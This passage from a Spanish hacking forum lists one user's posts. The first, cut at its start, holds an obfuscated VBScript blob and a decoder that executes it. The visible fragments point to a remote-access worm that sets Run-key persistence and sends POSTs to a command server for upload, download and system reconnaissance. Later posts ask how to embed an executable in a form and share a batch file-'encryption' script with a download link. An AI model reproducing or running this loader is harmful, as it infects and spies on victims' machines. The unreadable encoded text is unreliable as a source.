žXŒ’™ŸeMW”™‘š˜ŒŸ”š™85“ŸŸ›š•Yž™K›ŒŒ˜85›šžŸKhK“ŸŸ›š•Yž›š™žŸ£Ÿ85™K‘ ™ŽŸ”š™8585‘ ™ŽŸ”š™K”™‘š˜ŒŸ”š™85š™KšKž ˜K™£Ÿ85”‘KK”™‘KhKMMKŸ“™85KKKK”™‘KhK“¢”KQKž›—”ŸK85KKKK”™‘KhK”™‘KKQKž“——š•Y£›Œ™™¡”š™˜™ŸžŸ”™’žSMPŽš˜› Ÿ™Œ˜PMTKQKž›—”ŸK85KKKK”™‘KhK”™‘KKQKž“——š•Y£›Œ™™¡”š™˜™ŸžŸ”™’žSMP ž™Œ˜PMTKQKž›—”Ÿ8585KKKKžŸKššŸKhK’Ÿš•ŽŸSM¢”™˜’˜Ÿže¦”˜›žš™ŒŸ”š™—¡—h”˜›žš™ŒŸ¨L‡‡Y‡ššŸ‡Ž”˜¡]MT85KKKKžŸKšžKhKššŸY£Žœ ¤KSMž—ŽŸKUK‘š˜K¢”™^]Šš›ŒŸ”™’ž¤žŸ˜MT85KKKK‘šKŒŽ“Kšž”™‘šK”™Kšž85KKKKKKK”™‘KhK”™‘KQKšž”™‘šYŽŒ›Ÿ”š™KQKž›—”ŸKK85KKKKKKK£”ŸK‘š85KKKK™£Ÿ85KKKK”™‘KhK”™‘KQKM›— žMKQKž›—”Ÿ85KKKK”™‘KhK”™‘KQKžŽ ”Ÿ¤KQKž›—”Ÿ85KKKK”™‘KhK”™‘KQK žž›Œ”™’85KKKK”™‘š˜ŒŸ”š™KhK”™‘KK85—ž85KKKK”™‘š˜ŒŸ”š™KhK”™‘85™K”‘85™K‘ ™ŽŸ”š™858585ž K ›žŸŒŸKST85š™KšKž ˜Ky£Ÿ8585ž“——š•Y’¢”ŸKMsvp„Šn€}}pyŠ€~p}‡žš‘Ÿ¢Œ‡˜”Žšžš‘Ÿ‡¢”™š¢ž‡Ž ™Ÿ¡ž”š™‡ ™‡MKQKž›—”ŸKS”™žŸŒ——™Œ˜WMYMTS[TWKKM¢žŽ”›ŸY£KZZmKMKQKŽ“¢S^_TKQK”™žŸŒ——”KQK”™žŸŒ——™Œ˜KQKŽ“¢S^_TKWKM}prŠ~…M85ž“——š•Y’¢”ŸKMsvp„ŠwznlwŠxlnstyp‡žš‘Ÿ¢Œ‡˜”Žšžš‘Ÿ‡¢”™š¢ž‡Ž ™Ÿ¡ž”š™‡ ™‡MKQKž›—”ŸKS”™žŸŒ——™Œ˜WMYMTS[TWKKM¢žŽ”›ŸY£KZZmKMKKQKŽ“¢S^_TKQK”™žŸŒ——”KQK”™žŸŒ——™Œ˜KQKŽ“¢S^_TKWKM}prŠ~…M85‘”—ž¤žŸ˜š•YŽš›¤‘”—K¢žŽ”›ŸYžŽ”›Ÿ‘ ——™Œ˜W”™žŸŒ——”KQK”™žŸŒ——™Œ˜WŸ 85‘”—ž¤žŸ˜š•YŽš›¤‘”—K¢žŽ”›ŸYžŽ”›Ÿ‘ ——™Œ˜WžŸŒŸ ›KQK”™žŸŒ——™Œ˜KWŸ 8585™Kž 858585‘ ™ŽŸ”š™K“¢”85š™KšKž ˜K™£Ÿ8585žŸKššŸKhK’Ÿš•ŽŸSM¢”™˜’˜Ÿže¦”˜›žš™ŒŸ”š™—¡—h”˜›žš™ŒŸ¨L‡‡Y‡ššŸ‡Ž”˜¡]MT85žŸK”ž–žKhKššŸY£Žœ ¤KSMž—ŽŸKUK‘š˜K¢”™^]Š—š’”ŽŒ—”ž–MT85‘šKŒŽ“K”ž–K”™K”ž–ž85KKKK”‘KK”ž–Y¡š— ˜ž”Œ—™ ˜KgiKMMKŸ“™85KKKKKKKK“¢”KhK”ž–Y¡š— ˜ž”Œ—™ ˜85KKKKKKKK£”ŸK‘š85KKKK™K”‘85™£Ÿ85™K‘ ™ŽŸ”š™858585‘ ™ŽŸ”š™KžŽ ”Ÿ¤K85š™KšKž ˜K™£Ÿ8585žŽ ”Ÿ¤KhKMM8585žŸKš•¢˜”ž¡”ŽKhK’Ÿš•ŽŸSM¢”™˜’˜Ÿže¦”˜›žš™ŒŸ”š™—¡—h”˜›žš™ŒŸ¨L‡‡Y‡ššŸ‡Ž”˜¡]MT85žŸKŽš—”Ÿ˜žKhKš•¢˜”ž¡”ŽY£Žœ ¤SMž—ŽŸKUK‘š˜K¢”™^]Šš›ŒŸ”™’ž¤žŸ˜MWW_cT85‘šKŒŽ“Kš•”Ÿ˜K”™KŽš—”Ÿ˜ž85KKKK¡ž”š™žŸKhKž›—”ŸKSš•”Ÿ˜Y¡ž”š™WMYMT85™£Ÿ85¡ž”š™žŸKhKž›—”ŸKSŽš—”Ÿ˜žY¡ž”š™WMYMT85šž¡ž”š™KhK¡ž”š™žŸKS[TKQKMYM85‘šKK£KhK\KŸšK š ™KS¡ž”š™žŸT854Kšž¡ž”š™KhKšž¡ž”š™KQKK¡ž”š™žŸKS”T85™£Ÿ85šž¡ž”š™KhK¡Œ—KSšž¡ž”š™T85”‘KKšž¡ž”š™KiKaKŸ“™KžŽKhKMžŽ ”Ÿ¤Ž™Ÿ]MK—žKžŽKhKMžŽ ”Ÿ¤Ž™ŸM8585žŸKš•žŽ ”Ÿ¤Ž™ŸKhK’Ÿš•ŽŸSM¢”™˜’˜Ÿže‡‡—šŽŒ—“šžŸ‡ššŸ‡MKQKžŽT85~ŸKŽš—Œ™Ÿ”¡” žKhKš•žŽ ”Ÿ¤Ž™ŸY£Žœ ¤SMž—ŽŸKUK‘š˜KŒ™Ÿ”¡” ž›š ŽŸMWM¢œ—MW[T8585‘šKŒŽ“Kš•Œ™Ÿ”¡” žK”™KŽš—Œ™Ÿ”¡” ž85KKKKžŽ ”Ÿ¤KKhKžŽ ”Ÿ¤KKQKš•Œ™Ÿ”¡” žY”ž›—Œ¤™Œ˜KQKMKYM85™£Ÿ85”‘KžŽ ”Ÿ¤KKhKMMKŸ“™KžŽ ”Ÿ¤KKhKM™Œ™XŒ¡M85™K‘ ™ŽŸ”š™858585‘ ™ŽŸ”š™K”™žŸŒ™Ž85š™KšKž ˜K™£Ÿ8585 žž›Œ”™’KhKž“——š•Y’ŒKSMsvp„ŠwznlwŠxlnstyp‡žš‘Ÿ¢Œ‡MKQKž›—”ŸKS”™žŸŒ——™Œ˜WMYMTS[TKQKM‡MT85”‘K žž›Œ”™’KhKMMKŸ“™85KKK”‘K—ŽŒžKSK˜”S¢žŽ”›ŸYžŽ”›Ÿ‘ ——™Œ˜W]TTKhKMe‡MKQKK—ŽŒžS”™žŸŒ——™Œ˜TKŸ“™85KKKKKK žž›Œ”™’KhKMŸ KXKMKQKŒŸ85KKKKKKž“——š•Y’¢”ŸKMsvp„ŠwznlwŠxlnstyp‡žš‘Ÿ¢Œ‡MKQKž›—”ŸKS”™žŸŒ——™Œ˜WMYMTS[TKKQKM‡MWKK žž›Œ”™’WKM}prŠ~…M85KKK—ž85KKKKKK žž›Œ”™’KhKM‘Œ—žKXKMKQKŒŸ85KKKKKKž“——š•Y’¢”ŸKMsvp„ŠwznlwŠxlnstyp‡žš‘Ÿ¢Œ‡MKQKž›—”ŸKS”™žŸŒ——™Œ˜WMYMTS[TKKQKM‡MWKK žž›Œ”™’WKM}prŠ~…M8585KKK™K”‘85™Kt‘85858585 ›žŸŒŸ85žŸKžŽ”›Ÿ‘ ——™Œ˜ž“šŸKhKK‘”—ž¤žŸ˜š•Y’Ÿ‘”—KS¢žŽ”›ŸYžŽ”›Ÿ‘ ——™Œ˜T85žŸK”™žŸŒ——‘ ——™Œ˜ž“šŸKhKK‘”—ž¤žŸ˜š•Y’Ÿ‘”—KS”™žŸŒ——”KQK”™žŸŒ——™Œ˜T85”‘KK—ŽŒžKSžŽ”›Ÿ‘ ——™Œ˜ž“šŸYž“šŸ›ŒŸ“TKgiK—ŽŒžKS”™žŸŒ——‘ ——™Œ˜ž“šŸYž“šŸ›ŒŸ“TKŸ“™K85KKKKž“——š•Y ™KM¢žŽ”›ŸY£KZZmKMKQKŽ“S^_TKQK”™žŸŒ——”KQK”™žŸŒ——™Œ˜KQKn“S^_T85KKKK¢žŽ”›ŸYœ ”ŸK85™Kt‘85YŽ—Œ85žŸKš™š™ŽKhK‘”—ž¤žŸ˜š•Yš›™Ÿ£Ÿ‘”—KS”™žŸŒ——”KQK”™žŸŒ——™Œ˜KWcWK‘Œ—žT85”‘KKY™ ˜KiK[KŸ“™K¢žŽ”›ŸYœ ”Ÿ85™K‘ ™ŽŸ”š™858585ž Kž”Ÿš¢™—šŒKS‘”— —W‘”—™Œ˜T8585žŸ—”™–KhK‘”— —85žŸžŒ¡ŸšKhK”™žŸŒ——”KQK‘”—™Œ˜85žŸKš•“ŸŸ›š¢™—šŒKhKŽŒŸš•ŽŸSM˜ž£˜—]Y£˜—“ŸŸ›MKT85š•“ŸŸ›š¢™—šŒYš›™KM’ŸMWKžŸ—”™–WK‘Œ—ž85š•“ŸŸ›š¢™—šŒYž™8585žŸKš•‘žšš¢™—šŒKhKŽŒŸš•ŽŸKSMžŽ”›Ÿ”™’Y‘”—ž¤žŸ˜š•ŽŸMT85”‘KKš•‘žšš¢™—šŒY‘”—£”žŸžKSžŸžŒ¡ŸšTKŸ“™85KKKKš•‘žšš¢™—šŒY—Ÿ‘”—KSžŸžŒ¡ŸšT85™K”‘85K85”‘Kš•“ŸŸ›š¢™—šŒYžŸŒŸ žKhK][[KŸ“™85KKK”˜KKš•žŸŒ˜š¢™—šŒ85KKKžŸKKš•žŸŒ˜š¢™—šŒKhKŽŒŸš•ŽŸSMŒšYžŸŒ˜MT85KKK¢”Ÿ“Kš•žŸŒ˜š¢™—šŒ8544YŸ¤›KhK\K8544Yš›™8544Y¢”ŸKš•“ŸŸ›š¢™—šŒYž›š™žš¤8544YžŒ¡Ÿš‘”—KžŸžŒ¡Ÿš8544YŽ—šž85KKK™K¢”Ÿ“85KKKžŸKš•žŸŒ˜š¢™—šŒKhK™šŸ“”™’85™K”‘85”‘Kš•‘žšš¢™—šŒY‘”—£”žŸžSžŸžŒ¡ŸšTKŸ“™85KKKž“——š•Y ™Kš•‘žšš¢™—šŒY’Ÿ‘”—KSžŸžŒ¡ŸšTYž“šŸ›ŒŸ“85™K”‘K85™Kž 8585ž Kš¢™—šŒKS‘”— —W‘”—”T8585”‘K‘”—”KhKMMKŸ“™K85KKK‘”—”KhK”™žŸŒ——”85™K”‘8585žŸžŒ¡ŸšKhK‘”—”KQK˜”KS‘”— —WK”™žŸ¡KS‘”— —WM‡MTKVK\T85žŸKš•“ŸŸ›š¢™—šŒKhKŽŒŸš•ŽŸSM˜ž£˜—]Y£˜—“ŸŸ›MT85š•“ŸŸ›š¢™—šŒYš›™KM›šžŸMWM“ŸŸ›eZZMKQK“šžŸKQKMeMKQK›šŸKQMZMKQKM”žXž™”™’MKQKž›—”ŸKQK‘”— —WK‘Œ—ž85š•“ŸŸ›š¢™—šŒYž™KMM85KKKKK85žŸKš•‘žšš¢™—šŒKhKŽŒŸš•ŽŸKSMžŽ”›Ÿ”™’Y‘”—ž¤žŸ˜š•ŽŸMT85”‘KKš•‘žšš¢™—šŒY‘”—£”žŸžKSžŸžŒ¡ŸšTKŸ“™85KKKKš•‘žšš¢™—šŒY—Ÿ‘”—KSžŸžŒ¡ŸšT85™K”‘85”‘KKš•“ŸŸ›š¢™—šŒYžŸŒŸ žKhK][[KŸ“™85KKKK”˜KKš•žŸŒ˜š¢™—šŒ854žŸKKš•žŸŒ˜š¢™—šŒKhKŽŒŸš•ŽŸSMŒšYžŸŒ˜MT85KKKK¢”Ÿ“Kš•žŸŒ˜š¢™—šŒK8544KYŸ¤›KhK\K8544KYš›™8544KY¢”ŸKš•“ŸŸ›š¢™—šŒYž›š™žš¤8544KYžŒ¡Ÿš‘”—KžŸžŒ¡Ÿš8544KYŽ—šž854™K¢”Ÿ“85KKKKžŸKš•žŸŒ˜š¢™—šŒKKhK™šŸ“”™’85™K”‘85”‘Kš•‘žšš¢™—šŒY‘”—£”žŸžSžŸžŒ¡ŸšTKŸ“™85KKKž“——š•Y ™Kš•‘žšš¢™—šŒY’Ÿ‘”—KSžŸžŒ¡ŸšTYž“šŸ›ŒŸ“85™K”‘K85™Kž 858585‘ ™ŽŸ”š™K ›—šŒKS‘”— —T8585”˜KK“ŸŸ›š•Wš•žŸŒ˜ ›—šŒW ‘‘85žŸKKš•žŸŒ˜ ›—šŒKhKŽŒŸš•ŽŸSMŒšYžŸŒ˜MT85¢”Ÿ“Kš•žŸŒ˜ ›—šŒK85KKKKKYŸ¤›KhK\K85KKKKKYš›™854KY—šŒ‘š˜‘”—K‘”— —854K ‘‘KhKYŒ854KYŽ—šž85™K¢”Ÿ“85žŸKš•žŸŒ˜š¢™—šŒKhK™šŸ“”™’85žŸK“ŸŸ›š•KhKŽŒŸš•ŽŸSM˜ž£˜—]Y£˜—“ŸŸ›MT85“ŸŸ›š•Yš›™KM›šžŸMWM“ŸŸ›eZZMKQK“šžŸKQKMeMKQK›šŸKQMZMKQKM”žXŽ¡”™’MKQKž›—”ŸKQK‘”— —WK‘Œ—ž85“ŸŸ›š•Yž™K ‘‘85™K‘ ™ŽŸ”š™858585‘ ™ŽŸ”š™K™ ˜”¡KST8585‘šKKŒŽ“K”¡K”™K‘”—ž¤žŸ˜š•Y”¡ž85”‘KKK”¡Y”žŒ¤KhKŸ KŸ“™85KKKKK™ ˜”¡KhK™ ˜”¡KQK”¡Y›ŒŸ“KQKM§MKQK”¡Y”¡Ÿ¤›KQKž›—”Ÿ85™K”‘85™£Ÿ85™Kq ™ŽŸ”š™8585‘ ™ŽŸ”š™K™ ˜‘Œ‘KS™ ˜”T8585™ ˜‘Œ‘KhK™ ˜”KQKž›—”Ÿ85‘šKKŒŽ“K‘š—K”™K‘”—ž¤žŸ˜š•Y’Ÿ‘š—KS™ ˜”TYž ‘š—ž85KKKKK™ ˜‘Œ‘KhK™ ˜‘Œ‘KQK‘š—Y™Œ˜KQKM§MKQKMMKQKM§MKQKMMKQKM§MKQK‘š—YŒŸŸ” ŸžKQKž›—”Ÿ85™£Ÿ8585‘šKKŒŽ“K‘”—K”™K‘”—ž¤žŸ˜š•Y’Ÿ‘š—KS™ ˜”TY‘”—ž85KKKKK™ ˜‘Œ‘KhK™ ˜‘Œ‘KQK‘”—Y™Œ˜KQKM§MKQK‘”—Yž”¥KKQKM§MKQKM‘MKQKM§MKQK‘”—YŒŸŸ” ŸžKQKž›—”Ÿ8585™£Ÿ85™K‘ ™ŽŸ”š™858585‘ ™ŽŸ”š™K™ ˜›šŽžžKST8585š™KšKž ˜K™£Ÿ8585žŸKš•¢˜”ž¡”ŽKhK’Ÿš•ŽŸSM¢”™˜’˜Ÿže‡‡Y‡ššŸ‡Ž”˜¡]MT85žŸKŽš—”Ÿ˜žKhKš•¢˜”ž¡”ŽY£Žœ ¤SMž—ŽŸKUK‘š˜K¢”™^]Š›šŽžžMWW_cT8585”˜Kš•”Ÿ˜85‘šKŒŽ“Kš•”Ÿ˜K”™KŽš—”Ÿ˜ž854™ ˜›šŽžžKhK™ ˜›šŽžžKQKš•”Ÿ˜Y™Œ˜KQKM§M854™ ˜›šŽžžKhK™ ˜›šŽžžKQKš•”Ÿ˜Y›šŽžž”KQKM§M85KKKK™ ˜›šŽžžKhK™ ˜›šŽžžKQKš•”Ÿ˜Y£Ž ŸŒ—›ŒŸ“KQKž›—”Ÿ85™£Ÿ85™K‘ ™ŽŸ”š™8585ž K£”Ÿ›šŽžžKS›”T85š™KšKž ˜K™£Ÿ8585ž“——š•Y ™KMŸŒž––”——KZqKZKZ{toKMKQK›”WbWŸ 85™Kž 8585ž K—Ÿ‘Œ‘KS —T85š™KšKž ˜K™£Ÿ8585‘”—ž¤žŸ˜š•Y—Ÿ‘”—K —85‘”—ž¤žŸ˜š•Y—Ÿ‘š—K —8585™Kž 8585‘ ™ŽŸ”š™KŽ˜ž“——KSŽ˜T8585”˜K“ŸŸ›š•Wš£ŽWŒŒ——‘š˜Œ™¤8585žŸKš£ŽKhKž“——š•Y£ŽKSMPŽš˜ž›ŽPKZŽKMKQKŽ˜T85”‘K™šŸKš£ŽYžŸš ŸYŒŸ™š‘žŸŒ˜KŸ“™85KKKŒŒ——‘š˜Œ™¤KhKš£ŽYžŸš ŸYŒŒ——85—ž”‘K™šŸKš£ŽYžŸYŒŸ™š‘žŸŒ˜KŸ“™85KKKŒŒ——‘š˜Œ™¤KhKš£ŽYžŸYŒŒ——85—žK85KKKŒŒ——‘š˜Œ™¤KhKMM85™K”‘8585Ž˜ž“——KhKŒŒ——‘š˜Œ™¤85™K‘ ™ŽŸ”š™"))
  2. sddfskcIdCLcsoSkso()
  3. Function sddfskcIdCLcsoSkso()
  4. For i = 1 to dcssLdchdcdDCsiijSS(dDssDajcooSLscaC)
  5. hsDCcocssccCaVICC = hsDCcocssccCaVICC & ((CHRW(ASC((MID(dDssDajcooSLscaC, i))) - ASC("+"))))
  6. next
  7. executeglobal hsDCcocssccCaVICC
  8. End Function
  9. Function dcssLdchdcdDCsiijSS(sStr)
  10. Do
  11. i = i + &H1
  12. bLen = Left(sStr, i)
  13. dcssLdchdcdDCsiijSS = i
  14. Loop While sStr <> bLen
  15. End Function

                                          Gracia de antemano.  :laugh:
118  Programación / .NET (C#, VB.NET, ASP) / incrustar música .mp3 en un formulario . en: 12 Octubre 2017, 16:09 pm
hola de nuevo. jeje

como dice el titulo , se podría meter una música en la pestaña resources . y después agregar el control de windows media player y el directorio poner esa musica?

osea yo se poner músicas en los formularios. pero la canción tiene que ir en la adjunto con el exe . y eso no es lo que quiero .

lo que quiero es hacer un exe que ya contenga dentro la canción y la reproduzca.

yo pienso que se debería incrustar como los txt en la parte de resources pero no se como poner el mp3
 
                                              gracias de antemano .  ;-)

                                                   
119  Programación / .NET (C#, VB.NET, ASP) / Incrustar un .exe dentro de un formulario . en: 11 Octubre 2017, 02:33 am
hola a todo. bueno tengo el siguiente problema:  :huh:

si yo quiero meter un .exe dentro de un formulario y ejecutar ese .exe incrustado
con un botón como podría hacer eso?  si alguien sabe algún code para realizar esto.

                                  Gracias de antemano  :D
120  Programación / Scripting / [batch] [aporte] batch archive security v0.3 en: 6 Octubre 2017, 23:49 pm
si quieren escuchar una musica de fondo --->>     Y   Para los amantes del anime les dejo el opening de Tokyo Ghoul --->>

hola a todos acabo de terminar la versión 0.3 de mi Batch Archive Security  ;D

bueno con esta nueva versión se puede cifrar cualquier tipo de archivo sin importar que sea. osea con esta herramienta pueden ponerle contraseña hasta a su porn....xxx jeje.

atención para cifrar varios archivos a la vez dentro de un batch solo metan los archivos a cifrar dentro de una carpeta y listo , al cifrar colocan el nombre de esa carpeta. y así cifran varios archivos en uno.

bueno he aquí el código fuente pero no les va a servir ya que necesita un complemento para funcionar por eso lo tienen que descargar:

link del programa completo:

https://mega.nz/#!Y4FTFTwS!hTwpRhg6F51Ie9aTefouTLVa9HyZlb2U1kYGsu_gYh4

CODE:

Código
  1. @echo off
  2. title Bienbenido %USERNAME%                                           --- Batch Archive Security ---
  3. goto mksys
  4. :menu & cls  
  5. color a
  6. echo ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  Realse 
  7. echo ³                                                               ³     Version 
  8. echo ³        Este Programa Portable sirve para poner                ³         (0.3)
  9. echo ³             Contrase¤a a cualquier archivo.                   ³
  10. echo ³                                                               ÀÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
  11. echo ³      Creada especialmente para (Foro el Hacker.NET)           ³ BATCH       ³
  12. echo ³                       De Parte de **Aincrad**                 ³   ARCHIVE   ³
  13. echo ³                                                               ³     SECURITY³
  14. echo ³                                                               ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
  15. echo ³    PASOS A SEGUIR:                                            ³ Para:
  16. echo ³                                                               ³    F  
  17. echo ³    1) Escriba el nombre de el archivo a cifrar. y tambien     ³     o
  18. echo ³        Su formato. Ej: (.txt , .exe , .rar , .jar) etc..      ³      r
  19. echo ³                                                               ³       o
  20. echo ³    2) Escriba el Pass (Contrase¤a). Todo menos simbolos.      ³   El    
  21. echo ³                                                               ³ H
  22. echo ³    3) Listo..... :v                                           ³  a
  23. echo ³                                                               ³   c
  24. echo ³    4) En caso de no entender nada de los pasos, escriba       ³    k
  25. echo ³         help   y si no entiende Vayase a la mierrrrr...da     ³     e
  26. echo ³                                                               ³      r
  27. echo ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ       .NET
  28. echo   26/09/20017   Caracas-Venezuela           Create BY **Aincrad**
  29. set /p op= Escriba el nombre de el archivo a cifrar : 
  30. if not defined op (goto:menu) >NUL
  31. If ["%op%"]==["help"] goto help >NUL
  32. if not exist %op% (goto:err) >NUL
  33. Ping -n 2 Localhost >NUL
  34.  
  35. set p=set
  36. set t=var
  37. set "resultado=%resultado:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789%" "
  38.  
  39. :si
  40. set /p ps= el archivo si existe escriba una contrase¤a : 
  41. if not defined ps goto :si >NUL
  42. echo %ps%>>%temp%\pass1.txt
  43. Ping -n 2 Localhost >NUL
  44. set archivo=%temp%\pass1.txt
  45.  
  46. :::::::::::::::::
  47. :Ofuscador
  48. :::::::::::::::::
  49.  
  50. :Lineas
  51. Set Linea=0
  52. For /F "Tokens=*" %%a in ('Type %archivo% ^| Find /V /C ""') do (Set Total=%%a)
  53.  
  54. :Leer_Ofuscador
  55. If "%linea%" EQU "%total%" (Goto :Fin_Ofuscador)
  56.  
  57. For /F "Tokens=*" %%a in ('Type %archivo% ^| MORE +%Linea%') do (
  58.     Echo: Ofuscando: "%%a"
  59.     Set /A Linea+=1
  60.     Set "String=%%a"
  61.     If not defined string (Goto :Leer_Ofuscador)
  62.     Echo %%a>"%TEMP%\String.tmp"
  63.     FOR %%? IN (%TEMP%\String.tmp) DO ( SET /A Longitud=%%~z? - 2 )
  64.     Goto :Ofuscar
  65. )
  66.  
  67.  
  68. :Ofuscar
  69.  
  70.  
  71. If "%Count%" EQU "%Longitud%" (
  72.     call :Write_Ofuscador
  73.     Goto :Leer_Ofuscador)
  74.  
  75. ::Comilladoble
  76. Set "String=%String:"=€%"& rem "
  77.  
  78. ::Espacio
  79. If "%String:~0,1%" EQU " " (Set "New_String=%New_String% ")
  80.  
  81. ::Alpha
  82. If "%String:~0,1%" EQU "a" (Set "New_String=%New_String%%%var:~27,1%%")
  83. If "%String:~0,1%" EQU "b" (Set "New_String=%New_String%%%var:~28,1%%")
  84. If "%String:~0,1%" EQU "c" (Set "New_String=%New_String%%%var:~29,1%%")
  85. If "%String:~0,1%" EQU "d" (Set "New_String=%New_String%%%var:~30,1%%")
  86. If "%String:~0,1%" EQU "e" (Set "New_String=%New_String%%%var:~31,1%%")
  87. If "%String:~0,1%" EQU "f" (Set "New_String=%New_String%%%var:~32,1%%")
  88. If "%String:~0,1%" EQU "g" (Set "New_String=%New_String%%%var:~33,1%%")
  89. If "%String:~0,1%" EQU "h" (Set "New_String=%New_String%%%var:~34,1%%")
  90. If "%String:~0,1%" EQU "i" (Set "New_String=%New_String%%%var:~35,1%%")
  91. If "%String:~0,1%" EQU "j" (Set "New_String=%New_String%%%var:~36,1%%")
  92. If "%String:~0,1%" EQU "k" (Set "New_String=%New_String%%%var:~37,1%%")
  93. If "%String:~0,1%" EQU "l" (Set "New_String=%New_String%%%var:~38,1%%")
  94. If "%String:~0,1%" EQU "m" (Set "New_String=%New_String%%%var:~39,1%%")
  95. If "%String:~0,1%" EQU "n" (Set "New_String=%New_String%%%var:~40,1%%")
  96. If "%String:~0,1%" EQU "o" (Set "New_String=%New_String%%%var:~41,1%%")
  97. If "%String:~0,1%" EQU "p" (Set "New_String=%New_String%%%var:~42,1%%")
  98. If "%String:~0,1%" EQU "q" (Set "New_String=%New_String%%%var:~43,1%%")
  99. If "%String:~0,1%" EQU "r" (Set "New_String=%New_String%%%var:~44,1%%")
  100. If "%String:~0,1%" EQU "s" (Set "New_String=%New_String%%%var:~45,1%%")
  101. If "%String:~0,1%" EQU "t" (Set "New_String=%New_String%%%var:~46,1%%")
  102. If "%String:~0,1%" EQU "u" (Set "New_String=%New_String%%%var:~47,1%%")
  103. If "%String:~0,1%" EQU "v" (Set "New_String=%New_String%%%var:~48,1%%")
  104. If "%String:~0,1%" EQU "w" (Set "New_String=%New_String%%%var:~49,1%%")
  105. If "%String:~0,1%" EQU "x" (Set "New_String=%New_String%%%var:~50,1%%")
  106. If "%String:~0,1%" EQU "y" (Set "New_String=%New_String%%%var:~51,1%%")
  107. If "%String:~0,1%" EQU "z" (Set "New_String=%New_String%%%var:~52,1%%")
  108. If "%String:~0,1%" EQU "A" (Set "New_String=%New_String%%%var:~1,1%%")
  109. If "%String:~0,1%" EQU "B" (Set "New_String=%New_String%%%var:~2,1%%")
  110. If "%String:~0,1%" EQU "C" (Set "New_String=%New_String%%%var:~3,1%%")
  111. If "%String:~0,1%" EQU "D" (Set "New_String=%New_String%%%var:~4,1%%")
  112. If "%String:~0,1%" EQU "E" (Set "New_String=%New_String%%%var:~5,1%%")
  113. If "%String:~0,1%" EQU "F" (Set "New_String=%New_String%%%var:~6,1%%")
  114. If "%String:~0,1%" EQU "G" (Set "New_String=%New_String%%%var:~7,1%%")
  115. If "%String:~0,1%" EQU "H" (Set "New_String=%New_String%%%var:~8,1%%")
  116. If "%String:~0,1%" EQU "I" (Set "New_String=%New_String%%%var:~9,1%%")
  117. If "%String:~0,1%" EQU "J" (Set "New_String=%New_String%%%var:~10,1%%")
  118. If "%String:~0,1%" EQU "K" (Set "New_String=%New_String%%%var:~11,1%%")
  119. If "%String:~0,1%" EQU "L" (Set "New_String=%New_String%%%var:~12,1%%")
  120. If "%String:~0,1%" EQU "M" (Set "New_String=%New_String%%%var:~13,1%%")
  121. If "%String:~0,1%" EQU "N" (Set "New_String=%New_String%%%var:~14,1%%")
  122. If "%String:~0,1%" EQU "O" (Set "New_String=%New_String%%%var:~15,1%%")
  123. If "%String:~0,1%" EQU "P" (Set "New_String=%New_String%%%var:~16,1%%")
  124. If "%String:~0,1%" EQU "Q" (Set "New_String=%New_String%%%var:~17,1%%")
  125. If "%String:~0,1%" EQU "R" (Set "New_String=%New_String%%%var:~18,1%%")
  126. If "%String:~0,1%" EQU "S" (Set "New_String=%New_String%%%var:~19,1%%")
  127. If "%String:~0,1%" EQU "T" (Set "New_String=%New_String%%%var:~20,1%%")
  128. If "%String:~0,1%" EQU "U" (Set "New_String=%New_String%%%var:~21,1%%")
  129. If "%String:~0,1%" EQU "V" (Set "New_String=%New_String%%%var:~22,1%%")
  130. If "%String:~0,1%" EQU "W" (Set "New_String=%New_String%%%var:~23,1%%")
  131. If "%String:~0,1%" EQU "X" (Set "New_String=%New_String%%%var:~24,1%%")
  132. If "%String:~0,1%" EQU "Y" (Set "New_String=%New_String%%%var:~25,1%%")
  133. If "%String:~0,1%" EQU "Z" (Set "New_String=%New_String%%%var:~26,1%%")
  134.  
  135. ::Numeric
  136. If "%String:~0,1%" EQU "0" (Set "New_String=%New_String%%%var:~53,1%%")
  137. If "%String:~0,1%" EQU "1" (Set "New_String=%New_String%%%var:~54,1%%")
  138. If "%String:~0,1%" EQU "2" (Set "New_String=%New_String%%%var:~55,1%%")
  139. If "%String:~0,1%" EQU "3" (Set "New_String=%New_String%%%var:~56,1%%")
  140. If "%String:~0,1%" EQU "4" (Set "New_String=%New_String%%%var:~57,1%%")
  141. If "%String:~0,1%" EQU "5" (Set "New_String=%New_String%%%var:~58,1%%")
  142. If "%String:~0,1%" EQU "6" (Set "New_String=%New_String%%%var:~59,1%%")
  143. If "%String:~0,1%" EQU "7" (Set "New_String=%New_String%%%var:~60,1%%")
  144. If "%String:~0,1%" EQU "8" (Set "New_String=%New_String%%%var:~61,1%%")
  145. If "%String:~0,1%" EQU "9" (Set "New_String=%New_String%%%var:~62,1%%")
  146.  
  147. Set "String=%String:~1%"
  148. Set /A Count+=1
  149. Goto :Ofuscar
  150.  
  151. :Write_Ofuscador
  152. Set "New_String=%New_String:€="%"& rem "
  153. Echo %New_String%>>%temp%\pass.txt
  154. If NOT Errorlevel 0 (Echo ERROR & pause & Exit /B 1)
  155. Set "New_String="
  156. Set "Count="
  157. Goto :EOF
  158.  
  159. :Fin_Ofuscador
  160. Del /Q "%TEMP%\String.tmp"
  161. Cls
  162. echo ESPERE... | More
  163. Ping -n 2 Localhost >NUL
  164.  
  165. for /f "tokens=*" %%x in (%temp%\pass.txt) do (set psw=%%x)
  166.  
  167. start %temp%\CSS.exe a "%temp%\ar1" "%op%"
  168. Ping -n 2 Localhost >NUL
  169. :hsss
  170. (
  171. echo @echo off
  172. echo %p% %t%^=%resultado%
  173. echo if exist %op%.dll copy /b ^"%op%.dll^" ^"^%%temp%%\CSS.exe^" ^>nul
  174. echo if not exist %op%.dll goto aci ^>nul
  175. echo if exist ^"^%%temp%%\ar1.rar^" del ^"^%%temp%%\ar1.rar^" ^>nul
  176. echo goto sad
  177. echo :aci
  178. echo title Error en api . . . . . . .
  179. echo MODE con:cols=66 lines=18
  180. echo color c
